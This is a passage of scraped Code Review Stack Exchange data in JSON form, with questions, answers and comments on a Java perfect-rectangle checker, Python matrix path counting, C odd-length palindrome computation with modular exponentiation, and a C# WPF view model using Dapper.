test class with cases from <a href=\"https://leetcode.com/problems/perfect-rectangle/\" rel=\"nofollow noreferrer\">leetcode</a>:</p>\n<pre><code>public class SolutionTest {\n \n //[[1,1,3,3],[3,1,4,2],[3,2,4,4],[1,3,2,4],[2,3,3,4]]\n @Test\n public void test1() {\n int[][] rectangles = {{1, 1, 3, 3}, {3, 1, 4, 2}, {3, 2, 4, 4}, {1, 3, 2, 4}, {2, 3, 3, 4}};\n assertTrue(Solution.isRectangleCover(rectangles));\n }\n \n //[[1,1,2,3],[1,3,2,4],[3,1,4,2],[3,2,4,4]]\n @Test\n public void test2() {\n int[][] rectangles = {{1, 1, 2, 3}, {1, 3, 2, 4}, {3, 1, 4, 2}, {3, 2, 4, 4}};\n assertFalse(Solution.isRectangleCover(rectangles));\n }\n \n //[[1,1,3,3],[3,1,4,2],[1,3,2,4],[3,2,4,4]]\n @Test\n public void test3() {\n int[][] rectangles = {{1, 1, 3, 3}, {3, 1, 4, 2}, {1, 3, 2, 4}, {3, 2, 4, 4}};\n assertFalse(Solution.isRectangleCover(rectangles));\n }\n \n //[[1,1,3,3],[3,1,4,2],[1,3,2,4],[2,2,4,4]]\n @Test\n public void test4() {\n int[][] rectangles = {{1, 1, 3, 3}, {3, 1, 4, 2}, {1, 3, 2, 4}, {2, 2, 4, 4}};\n assertFalse(Solution.isRectangleCover(rectangles));\n }\n \n}\n</code></pre>\n<p><strong>Update :</strong></p>\n<p>Thanks to Martin's comments I saw that the above solution works just for the cases available on the leetcode site without login, so the additional test cases fail. To pass all the test cases it is necessary to use the property that in a perfect rectangle the vertices are present in just one rectangle, while the others are shared by 2 or 4 rectangles.</p>\n<p>If a vertex (x, y) is equal to a <code>List<Integer></code> with two elements it is possible to define a custom <code>Comparator</code> that orders by x and then y like below and a specific <code>TreeSet</code>:</p>\n<pre><code>Comparator<List<Integer>> comp = (l1, l2) -> {\n int diff = l1.get(0) - l2.get(0);\n \n if (diff == 0) {\n return l1.get(1) - l2.get(1);\n }\n \n return diff;\n};\nSortedSet<List<Integer>> set = new TreeSet<>(comp);\nint totalArea = 0;\n</code></pre>\n<p>Once defined it, it is possible calculate the sum of all rectangle areas and creating the set with the vertices that are owned just by one rectangle :</p>\n<pre><code>for (int[] rectangle : rectangles) {\n totalArea += calculateArea(rectangle);\n int x0 = rectangle[0];\n int y0 = rectangle[1];\n int x1 = rectangle[2];\n int y1 = rectangle[3];\n List<List<Integer>> list = List.of(List.of(x0, y0),\n List.of(x0, y1),\n List.of(x1, y0),\n List.of(x1, y1));\n \n for (List<Integer> pointRep : list) {\n if (set.contains(pointRep)) {\n set.remove(pointRep);\n } else {\n set.add(pointRep);\n }\n }\n}\n</code></pre>\n<p>Because the set is ordered, if the cardinality is 4 it is possible to compare the total area with the perfect rectangle and check the result :</p>\n<pre><code>if (set.size() != 4) { return false; }\n \nint[] sw = set.first().stream().mapToInt(i->i).toArray();\nint[] ne = set.last().stream().mapToInt(i->i).toArray();\n \nreturn totalArea == calculateArea(new int[] {sw[0], sw[1], ne[0], ne[1] });\n</code></pre>\n<p>Combining all the code lines together below my updated solution :</p>\n<pre><code>class Solution {\n public static boolean isRectangleCover(int[][] rectangles) {\n Comparator<List<Integer>> comp = (l1, l2) -> {\n int diff = l1.get(0) - l2.get(0);\n \n if (diff == 0) {\n return l1.get(1) - l2.get(1);\n }\n \n return diff;\n };\n \n SortedSet<List<Integer>> set = new TreeSet<>(comp);\n int totalArea = 0;\n \n for (int[] rectangle : rectangles) {\n totalArea += calculateArea(rectangle);\n int x0 = rectangle[0];\n int y0 = rectangle[1];\n int x1 = rectangle[2];\n int y1 = rectangle[3];\n List<List<Integer>> list = List.of(List.of(x0, y0),\n List.of(x0, y1),\n List.of(x1, y0),\n List.of(x1, y1));\n \n for (List<Integer> pointRep : list) {\n if (set.contains(pointRep)) {\n set.remove(pointRep);\n } else {\n set.add(pointRep);\n }\n }\n }\n \n if (set.size() != 4) { return false; }\n \n int[] sw = set.first().stream().mapToInt(i->i).toArray();\n int[] ne = set.last().stream().mapToInt(i->i).toArray();\n \n return totalArea == calculateArea(new int[] {sw[0], sw[1], ne[0], ne[1] });\n\n }\n \n private static int calculateArea(int[] rectangle) {\n \n return (rectangle[2] - rectangle[0]) * (rectangle[3] -rectangle[1]); \n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T04:19:04.400",
"Id": "521274",
"Score": "1",
"body": "thank you very much for your input - using an interface rather than an instance is a very valid input - after such long time i would go even further and provide all data (bound **and** rectangles) during constructor - thus we would inject all data on constructor (also known as **dependency injection**)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T04:20:37.243",
"Id": "521275",
"Score": "1",
"body": "What really made me proud was when you said: *\"I see no other things I would change in your code[...]\"* thank you for this sentence! i though my solution was not good enough for review!!!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T04:24:11.290",
"Id": "521276",
"Score": "1",
"body": "when i tried your code i got an failed testcase, your code returns an valid solution for the `INVALID_DATA` input - creating the proper algorithm took me really some time. That brought me to another Point of Improofment in my code: the test cases are were slim and it would be helpful to test each test-aspekt in a seperate test case! (this should i have done better)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T04:56:17.957",
"Id": "521277",
"Score": "0",
"body": "since this review has very low attendence i'll accept your answer! please reply to my comments before i can accept!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T15:34:37.247",
"Id": "521308",
"Score": "0",
"body": "Hello @MartinFrank, thanks for the suggestion I updated my solution with the leetcode tests I hadn't executed before without login."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T03:53:04.910",
"Id": "521344",
"Score": "0",
"body": "Thank you very very much for your update - and for that additional explanation for the check!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T06:38:06.937",
"Id": "521350",
"Score": "1",
"body": "@MartinFrank, you are welcome :)"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T15:57:15.560",
"Id": "263952",
"ParentId": "263892",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263952",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T06:26:56.000",
"Id": "263892",
"Score": "1",
"Tags": [
"java",
"object-oriented"
],
"Title": "Perfect Rectangle checker"
}
|
263892
|
<p>I solved a Daily Coding Challenge, but i suspect my code could be optimised. The challenge is the following:</p>
<p>You are given an N by M matrix of 0s and 1s. Starting from the top left corner, how many ways are there to reach the
bottom right corner?<br />
You can only move right and down. 0 represents an empty space while 1 represents a wall you cannot walk through.
For example, given the following matrix:</p>
<pre><code>[[0, 0, 1],
[0, 0, 1],
[1, 0, 0]]
</code></pre>
<p>Return two, as there are only two ways to get to the bottom right:<br />
Right, down, down, right<br />
Down, right, down, right<br />
The top left corner and bottom right corner will always be 0.</p>
<p>You can see my solution below. Any tips on how to improve on it are very welcome.</p>
<pre><code>def solution(matrix, x=0, y=0):
count = 0
right, left = False, False
if y == len(matrix) - 1 and x == len(matrix[0]) - 1: # found a way
return 1
if x < len(matrix[0]) - 1:
if matrix[y][x+1] == 0:
count += solution(matrix, x+1, y) # look right
right = True
if y < len(matrix) - 1:
if matrix[y+1][x] == 0:
count += solution(matrix, x, y+1) # look down
left = True
if not right and not left: # dead end
return 0
return count
if __name__ == "__main__":
print(solution([[0, 0, 0], [0, 0, 0], [0, 1, 0]]))
</code></pre>
|
[] |
[
{
"body": "<p>You don't need <code>right</code> and <code>left</code>: they add nothing that isn't already covered\nby <code>count</code>.</p>\n<p>Compute lengths once rather than repeatedly.</p>\n<p>Check for empty matrix rows and/or columns, or invalid <code>x</code> and <code>y</code>, if your\ncode needs to handle such edge cases.</p>\n<pre><code>def solution(matrix, x=0, y=0):\n count = 0\n y_limit = len(matrix) - 1\n x_limit = len(matrix[0]) - 1\n\n # Success.\n if y == y_limit and x == x_limit:\n return 1\n\n # Look right.\n if x < x_limit and matrix[y][x + 1] == 0:\n count += solution(matrix, x + 1, y)\n\n # Look down.\n if y < y_limit and matrix[y + 1][x] == 0:\n count += solution(matrix, x, y + 1)\n\n return count\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T09:17:22.750",
"Id": "521107",
"Score": "0",
"body": "I don't think edge cases have to be considered in my case. this helped, thank you!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T09:04:20.753",
"Id": "263898",
"ParentId": "263893",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "263898",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T07:29:32.973",
"Id": "263893",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"programming-challenge",
"matrix"
],
"Title": "Find number of ways to traverse matrix of 0's and 1's"
}
|
263893
|
<p>I am working on this code from 3 days from a website called Codechef, the code compiles, executes and even give correct results but my code is taking 1.01 sec, but the time limit for question is 1sec, I have tried various ways but neither of them is giving a result that can work within 1 sec.</p>
<p>The question is about finding n-th smallest palindrome number, say n=9, then another k-th smallest palindrome number, say k=13, then I have to do this :- [(nth)^(nth+1)]* [(nth)^(nth+2)].......<em>[(nth) ^(kth)], where nth+1 refers to 10th smallest palindrome number, nth+2 refers to 11th smallest palindrome number and so on , {T, L and R} are the inputs , L and R are less than or equal to 5</em>(10^3), as the output will be very large so the judge wants the answer as output modulo 10^9+7 , link of the question -
<a href="https://www.codechef.com/JULY21C/problems/CHEFORA" rel="nofollow noreferrer">https://www.codechef.com/JULY21C/problems/CHEFORA</a></p>
<pre><code>#include <stdio.h>
int main(void) {
int T;
scanf("%d",&T);
while(T--){
int arr[5001]={0};
long int product=1;
int j=0,big=1000000007;
int L,R,sumR=0,sum2=0;
scanf("%d %d",&L,&R);
int n,p,k,h;
for(n=1;n<10;n++){
arr[j++]=n;
if(sumR==R-1) break;
sumR++;
}
for(n=1;n<10;n++){
for(p=0;p<10;p++){
arr[j++]=n*100+p*10+n;
if(sumR==R-1) break;
sumR++;
}if(sumR==R-1) break;
}
for(n=1;n<10;n++){
for(p=0;p<10;p++){
for(k=0;k<10;k++){
arr[j++]=n*10000+p*1000+k*100+p*10+n;
if(sumR==R-1) break;
sumR++;
}if(sumR==R-1) break;
}if(sumR==R-1) break;
}
for(n=1;n<10;n++){
for(p=0;p<10;p++){
for(k=0;k<10;k++){
for(h=0;h<10;h++){
arr[j++]=n*1000000+p*100000+k*10000+h*1000+k*100+p*10+n;
if(sumR==R-1) break;
sumR++;
}if(sumR==R-1) break;
}if(sumR==R-1) break;
}if(sumR==R-1) break;
}
for(j=L+1;j<=R;j++)
sum2+=arr[j-1];
for(j=1;j<=sum2;j++)
product=(product*arr[L-1])%big;
printf("%ld\n",product);
}
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T10:23:56.820",
"Id": "521110",
"Score": "6",
"body": "Pro-tip: taking the whitespace out of your code won't make it any faster."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T12:58:26.820",
"Id": "521113",
"Score": "4",
"body": "The code description doesn't make a lot of sense. It describes things using k and n and then says that the inputs are T, L and R, which have no description. Also, an example of input and expected output would help this question a lot."
}
] |
[
{
"body": "<p>Forget about code (until the very end) and just consider how you could generate a sorted list of palindromes (of odd length) "by hand".</p>\n<p>The first (1-digit) palindromes are 0, 1, ..., 9 i.e. the palindrome at position n (0 ≤ n < 10) in the list is n.\nAfter that come 101, 111, 121, ..., but finding them by hand gets tedious (especially since the list is infinite), so it's time to look for a pattern.</p>\n<p>In general, any palindrome consisting or more than 1 digit is of the form <code>a ++ d ++ rev a</code>, where <code>a</code> is a positive number, <code>d</code> is a digit, <code>rev a</code> is the reversal of <code>a</code> and <code>++</code> means concatenation.\nThe smallest palindrome larger than <code>a ++ d ++ rev a</code> is:</p>\n<pre><code>a ++ (d+1) ++ rev a, if d < 9\n(a+1) ++ 0 ++ rev (a+1), if d = 9\n</code></pre>\n<p>Ignoring the reversed part this is just the algorithm for "adding 1". The palindrome at position n (n ≥ 10) in the list is therefore <code>(n div 10) ++ (n mod 10) ++ rev (n div 10)</code>, where <code>div</code> is integer division and <code>mod</code> is the remainder-function.</p>\n<p>Collecting and cleaning gives the following formula for palindrome Pₙ₊₁ at position n (the "+1" is just there to make P₁ the first and not the second palindrome):</p>\n<pre><code>n, if 0 ≤ n < 10\nn ++ rev (n div 10), if n ≥ 10\n</code></pre>\n<p>This is where I stopped in my previous answer: according to the title the question is how to compute Pₙ, and the formula above surely is trivial enough be translated into code without much thought.</p>\n<hr />\n<p>The description, however, poses a different question, i.e. not how to compute Pₙ, but how to compute the product of the terms Pₙ^Pₓ (n < x ≤ k) fast. I decided to retract my answer until I had time to answer that one. Now, let's continue...</p>\n<p>For the modular residues (10⁹ + 7) any integer type supporting at least 29 bits suffices (and the size of any Pₙ is even less than that at 23 bits, assuming n ≤ 5000). The product of two 29-bits numbers fits in 58 bits, so as long as you're not tardy in replacing intermediate results by their modular residues a typical 64 bit integer type will do.</p>\n<p>Computing a single Pₙ takes O(log(n)) time since rev and ++ are linear in the number of digits and the other operations are usually assumed to be O(1). So computing all of the palindromes involved in the expression takes O((n-k) log k). Modular exponentiation takes logarithmic time (unless implemented naively), so computing the terms Pₙ^Pₓ (n < x ≤ k) takes O(log Pₓ) = O(log x) = O(log k) per term, or O((n-k) log k) in total. Modular multiplication of the k-n terms takes O(k-n). Putting it all together the overall performance is O((n-k) log k). n and k and the hidden constants in O() are small so this is fast.</p>\n<p>The implementation is straightforward and doesn't need any optimization hacks. The bottleneck is probably the rev function as I reckon that it's not built in natively. At the cost of more complexity and O(n+k) memory you could get rev down to O(1) amortized, but it's not worth the effort.</p>\n<hr />\n<p>PS: According to the context description the inputs to the problem are T, L and R which don't occur in the problem statement (!) (I can guess what they mean, just like I can guess what your real question is, but I shouldn't have to).</p>\n<hr />\n<p>Addendum: I couldn't resist mentioning the following performance tweak:</p>\n<p>For 0 ≤ m and 0 ≤ p < 10, P₁₀ₘ₊ₚ = m ++ p ++ rev m (define P₀ = 0 to make this true).</p>\n<p>Hence the sum P₁₀ₘ + ... + P₁₀ₘ₊ₚ = (p+1)*P₁₀ₘ + ½×p×(p-1)×10^(number of digits of m)</p>\n<p>That means that if n=82 and k=3719 you don't need to explicitly compute and sum 3638 palindromes to determine P₈₂ + … + P₃₇₁₉. Instead it suffices to compute P₈₀, P₉₀, …, P₃₇₁₀, which are just 364 palindromes.\nThe formula above essentially handles the missing bits (extra in case of P₈₀) and they can be computed in one go per computed P₁₀ₘ.\nThe final step is to raise Pₙ to the sum.\nI expect this makes the overall computation up to 10 times faster than the original computation.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:03:22.393",
"Id": "521116",
"Score": "0",
"body": "Your count is wrong, but the concept is right."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:09:17.197",
"Id": "521117",
"Score": "1",
"body": "I would tend to disagree with `Your code looks OK` due to lack of horizontal spacing, otherwise I would have up voted."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:20:12.883",
"Id": "521122",
"Score": "0",
"body": "@Deduplicator you could be right but it's late (here), I'm tired and I can't see any mistake right now (unless leaving out leading zeroes is considered wrong, which is just about context). Please explain the nature of the mistake and I'll have learned something & be happy."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:28:45.567",
"Id": "521126",
"Score": "0",
"body": "@pacmaninbw code looks OK means (when I say it) that it has doesn't have solvable bugs and otherwise does it what it is supposed to do. My scale is \"will never work\" --> OK --> elegant --> brilliant."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T17:59:31.760",
"Id": "521154",
"Score": "0",
"body": "Your count mistake is internal zeros. N0 is correct and N1 is correct, but just multiplying by 9 for adding a non-zero digit in front of that ignores a possible zero digit for the previous leading digit. Consider yxy, y != 0 ... then add the digit z: zyxyz, z != 0. Your count still assumes y != 0, missing palindromes like 10901 and 70407."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T21:19:38.997",
"Id": "521169",
"Score": "1",
"body": "@AJNeufeld (Deduplicator,too): Just woke up an realized my blunder of ignoring inner zeros. Last night I thought the problem was similar to converting to base 9. It's even simpler and almost identical to converting to base 10. I shouldn't design algorithms after beer or before coffee. Coffee time now..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T18:48:35.007",
"Id": "521268",
"Score": "0",
"body": "We only need one exponentiation, since Π(Pₙ^Pₓ) ≡ Pₙ^(ΣPₓ). That's one thing that OP has already worked out."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T11:05:53.163",
"Id": "521283",
"Score": "0",
"body": "@Toby Speight: since it doesn't matter for the O(...), I didn't consider that worth mentioning, but yes, of course you can sum the exponents first (and you don't even need to bother doing it modulo until you reach the last of the 64 bits. i.e. you can postpone the mod operation until the summed group consists of 64 - 23 = 41 elements, or perhaps one less but I can't bother to work whether I'm off by one or not). If it was all about micro-optimization (which admittedly I find fun even at the cost of making code unintelligible - personal projects only of course -) I'd have gone a lot further :-)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T11:09:19.497",
"Id": "521284",
"Score": "0",
"body": "@Toby Speight: on the macro side there's the option to store the first 5000 palindromes into a lookup table, or (doing it in a less cheating manner) never forgetting a palindrome once computed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T11:39:47.787",
"Id": "521285",
"Score": "0",
"body": "Maybe I should clarify by giving an example: if a palindrome has middle digit < 9 (90% of the cases), its successor can be computed in O(1) with an elementary data structure ([left, middle, right] would be a nice starting point). This reduces the constant in O(...) by a factor of 10 and in the end it'd probably still be faster. It's a bit sick though to consider such tricks (this wasn't even the sickest I considered)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T12:50:13.693",
"Id": "521289",
"Score": "0",
"body": "Did you mean 2⁴¹ elements there, where you wrote \"41 elements\"?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T13:01:00.083",
"Id": "521290",
"Score": "0",
"body": "@Toby Speight : I like your feedback! I was thinking about how 2 k-bits numbers generate a (k+1)-bits number and lazily/naively extrapolated., ignoring the fact that the next numbers remain at k bits. Thank you (to answer: I didn't mean that but in retrospect I mean it now). Now let's hope that k < 2⁴¹ - n :-)"
}
],
"meta_data": {
"CommentCount": "12",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:01:42.597",
"Id": "263901",
"ParentId": "263895",
"Score": "1"
}
},
{
"body": "<p>Brute-force searching is severely inefficient.<br />\nTry for a better algorithm by observing the problem carefully:</p>\n<h3>Algorithm:</h3>\n<p>Finding a way to easily find the n-th smallest palindrome number begins with a basic question:</p>\n<p>How many are there for a given number of digits?</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>digits</th>\n<th>count of palindrome numbers</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>0</td>\n<td>none (or does zero count?)</td>\n</tr>\n<tr>\n<td>1</td>\n<td>9 (or 10 with zero), 1-digit number</td>\n</tr>\n<tr>\n<td>2</td>\n<td>9, 1-digit number mirrored</td>\n</tr>\n<tr>\n<td>3</td>\n<td>90, 2-digit number, mirrored non-duplicated middle</td>\n</tr>\n<tr>\n<td>4</td>\n<td>90, 2-digit number, mirrored</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>The odd one out is zero digits (or 1), depending on how zero is treated. Otherwise, the pattern is simple.</p>\n<p>Also, if the number doesn't fit (the only possible error), I decided to return zero.</p>\n<p>Casting that in code:</p>\n<pre><code>unsigned long long nth_palindromic_number(unsigned long long n) {\n const unsigned base = 10;\n unsigned long long m = base - 1;\n for (--n; ; m *= base) {\n if (n < m) {\n n += m / (base - 1);\n m = n / base;\n break;\n }\n n -= m;\n if (n < m) {\n n += m / (base - 1);\n m = n;\n break;\n }\n n -= m;\n if (m * base / base != m)\n return 0;\n }\n for (; m; m /= base) {\n if ((n * base + m % base) / base != n)\n return 0;\n n = n * base + m % base;\n }\n return n;\n}\n</code></pre>\n<p>See <a href=\"//coliru.stacked-crooked.com/a/743db11b57bde6eb\" rel=\"nofollow noreferrer\">live on coliru</a>.</p>\n<h3>Implementation</h3>\n<p>Regarding your code, I'm missing any use of abstractions, specifically functions, to organize your code.</p>\n<p>Also, a severe lack of whitespace reduces readability.</p>\n<p>And finally, you don't handle any kind of errors.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T18:44:00.830",
"Id": "521267",
"Score": "1",
"body": "The palindrome computation is actually much simpler - hidden in the title is the constraint that we're only counting palindromes with an odd number of digits."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T19:22:59.023",
"Id": "521269",
"Score": "0",
"body": "Yes, that makes it even simpler. ..."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:25:37.490",
"Id": "263902",
"ParentId": "263895",
"Score": "3"
}
},
{
"body": "<p>The obvious issue with this code is the lack of structure. There are two main computations, given that we've already spotted that we can add all the exponents and perform a single exponentiation with the sum:</p>\n<ul>\n<li>Finding the Lth and Rth odd-length palindromic numbers</li>\n<li>Modular exponentiation</li>\n</ul>\n<p>Each of these should be separate - independently testable - functions; <code>main()</code> then only needs to read input, call the functions and print output.</p>\n<hr />\n<p>Let's look at the exponentiation first. Putting your code into a function with reasonable names gives</p>\n<pre><code>long modexp(int base, int power, int modulus)\n{\n long product = 1;\n for (int j = 1; j <= power; ++j)\n product = product * base % modulus;\n return product;\n}\n</code></pre>\n<p>This is pretty slow, as it has to perform <code>power</code> multiplications. It's better to implement a <em>binary exponentiaton</em>, which scales as the log of the power:</p>\n<pre><code>long modexp(int base, int power, int modulus)\n{\n long product = 1;\n while (power) {\n if (power % 2) {\n product = product * base % modulus;\n }\n base = 1L * base * base % modulus;\n power /= 2;\n }\n return product;\n}\n</code></pre>\n<p>(Note that this won't handle the full range of <code>int</code> correctly; it's enough for the subset of values we'll encounter in this problem. For a thorough implementation of an unbounded modular exponentiation, have a look at <a href=\"/q/187257/75307\">Modular exponentiation without range restriction</a> here on Code Review.)</p>\n<hr />\n<p>With that first easy win under our belt, let's turn our attention to the palindromes.</p>\n<p>We don't need to iterate through all the possible palindromes. The pattern is quite simple: for a given number <em>n</em>, the <em>n</em> th odd-length palindrome is simply <em>n</em> followed by the reverse of <em>n</em>/10.</p>\n<p>That's quite easy to compute without iterating:</p>\n<pre><code>int odd_palindrome(int n)\n{\n int palindrome = n;\n while ((n /= 10)) {\n palindrome = palindrome * 10 + n % 10;\n }\n return palindrome;\n}\n</code></pre>\n<hr />\n<p>We can now create a function to calculate the required function of the sequence of palindromes:</p>\n<pre><code>long compute_result(int left, int right)\n{\n int sum = 0;\n for (int i = left + 1; i <= right; ++i) {\n sum += odd_palindrome(i);\n }\n return modexp(odd_palindrome(left), sum, 1000000007);\n}\n</code></pre>\n<hr />\n<p>Having tested these functions (not shown here, to keep the answer reasonably short), we can put it all together (using types that are guaranteed large enough to represent the expected range of values), getting something which is more efficient and easier to follow than the posted code:</p>\n<pre><code>#include <inttypes.h>\n#include <stdint.h>\n#include <stdio.h>\n\ntypedef uint_fast32_t u32;\ntypedef uint_fast64_t u64;\n\nconst u32 result_modulus = 1000000007;\n\nstatic u64 modexp(u64 base, u64 power, u32 modulus)\n{\n u64 product = 1;\n while (power) {\n if (power % 2) {\n product = product * base % modulus;\n }\n base = base * base % modulus;\n power /= 2;\n }\n return product;\n}\n\nstatic u32 odd_palindrome(u32 n)\n{\n u32 palindrome = n;\n while ((n /= 10)) {\n palindrome = palindrome * 10 + n % 10;\n }\n return palindrome;\n}\n\nstatic u64 compute_result(u32 left, u32 right)\n{\n u64 sum = 0;\n for (u32 i = left + 1; i <= right; ++i) {\n sum += odd_palindrome(i);\n }\n return modexp(odd_palindrome(left), sum, result_modulus);\n}\n\nint main(void)\n{\n int ntests;\n if (scanf("%d", &ntests) != 1) {\n return 1;\n }\n\n while (ntests --> 0) {\n u32 left, right;\n if (scanf("%"SCNuFAST32" %"SCNuFAST32, &left, &right) != 2) {\n return 1;\n }\n printf("%"PRIuFAST64"\\n", compute_result(left, right));\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T03:52:51.157",
"Id": "521500",
"Score": "1",
"body": "Corners in a _general_ application: `modexp(base, 0, 1)` returns 1, 0 expected. Perhaps `u64 product = 1%modulus;`? In `modexp(u64 base, u64 power, u32 modulus)`, `base * base` may overflow first iteration. `base %= modulus;` before the loop fixes that. You may find [this](https://codereview.stackexchange.com/q/187257/29485) interesting."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T06:54:58.603",
"Id": "521508",
"Score": "0",
"body": "Yes, I should have said that this is not a general `modexp()`. It is purely intended for this case where 0 < 'base' ≤ max32 - taking arguments of `u64` was just to save a local variable. (And that's why it has internal linkage!)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T07:00:36.830",
"Id": "521509",
"Score": "0",
"body": "I've added a sentence or two, and a link to that question."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T17:54:03.593",
"Id": "263959",
"ParentId": "263895",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263959",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T07:46:22.310",
"Id": "263895",
"Score": "2",
"Tags": [
"c",
"programming-challenge",
"time-limit-exceeded",
"palindrome"
],
"Title": "Finding n-th smallest Palindrome number (where 1<=n<=5000 and the palindrome number must have odd number of digits)"
}
|
263895
|
<p><strong>Goal</strong></p>
<p>I'd like to understand if this current method, of <strong>loading data</strong> and <strong>inserting data</strong> into a database I currently use is to be avoided?</p>
<p><strong>Code</strong></p>
<p>I drafted a simple application that loads data and inserts data, simple as that.</p>
<p><strong>Model</strong></p>
<pre><code>public class Person
{
public int PersonId { get; set; }
public string Firstname { get; set; }
public string Lastname { get; set; }
}
</code></pre>
<p><strong>Database service</strong></p>
<pre><code>public interface IDatabaseService
{
List<Person> GetPeople();
void InsertPerson(Person person);
}
public class DatabaseService : IDatabaseService
{
public List<Person> GetPeople()
{
using (MySqlConnection conn = new MySqlConnection("connection"))
{
string query = "SELECT * FROM People;";
var details = conn.Query<Person>(query);
return details.ToList();
}
}
public void InsertPerson(Person person)
{
using (MySqlConnection conn = new MySqlConnection("connection"))
{
string query = "INSERT INTO People (Firstname, Lastname) VALUES (@Firstname, @Lastname);";
conn.Execute(query, new { @Firstname = person.Firstname, @Lastname = person.Lastname });
}
}
}
</code></pre>
<p><strong>ViewModel</strong></p>
<pre><code>public class MainViewModel
{
// Property to be loaded with records
public ObservableCollection<Person> People { get; set; }
// Properties to create new Person
public string Firstname { get; set; }
public string Lastname { get; set; }
// Contructor
public MainViewModel()
{
// Create database service and assign it to the readonly property
DatabaseService databaseService = new DatabaseService();
_databaseService = databaseService;
LoadData();
InsertDataCommand = new RelayCommand(InsertData);
}
// Service
private readonly DatabaseService _databaseService;
// Load data method
protected void LoadData()
{
if(People == null)
{
People = new ObservableCollection<Person>();
}
People.Clear();
_databaseService.GetPeople().ForEach(record => People.Add(record));
}
// Command to add new Person
public ICommand InsertDataCommand { get; }
protected void InsertData(object param)
{
Person person = new Person()
{
Firstname = Firstname,
Lastname = Lastname
};
_databaseService.InsertPerson(person);
// Refresh
LoadData();
}
}
</code></pre>
<p><strong>Question</strong></p>
<p>In my view model, the way I clear the ObservableCollection and reload the data.. is this ok?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:17:31.983",
"Id": "521120",
"Score": "0",
"body": "Entity Framework, Code First."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:19:05.493",
"Id": "521121",
"Score": "0",
"body": "Meanwhile opening/closing the connection to each query may be not efficient unless they a pooled (connection string params setup)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:46:33.873",
"Id": "521133",
"Score": "0",
"body": "Why Entity Framework just out of curiosity? I think using queries with dapper is relevantly easy in my opinion?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:57:56.503",
"Id": "521135",
"Score": "0",
"body": "Looks like initially there was no sense to develop EF then."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T14:25:50.777",
"Id": "521139",
"Score": "0",
"body": "I recommend having a backend between client and data storage"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T14:37:53.377",
"Id": "521140",
"Score": "0",
"body": "@Anders Can you expand on your comment please? :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T19:42:32.817",
"Id": "521162",
"Score": "0",
"body": "No need to use EF. Dapper is OK."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T19:43:04.557",
"Id": "521163",
"Score": "0",
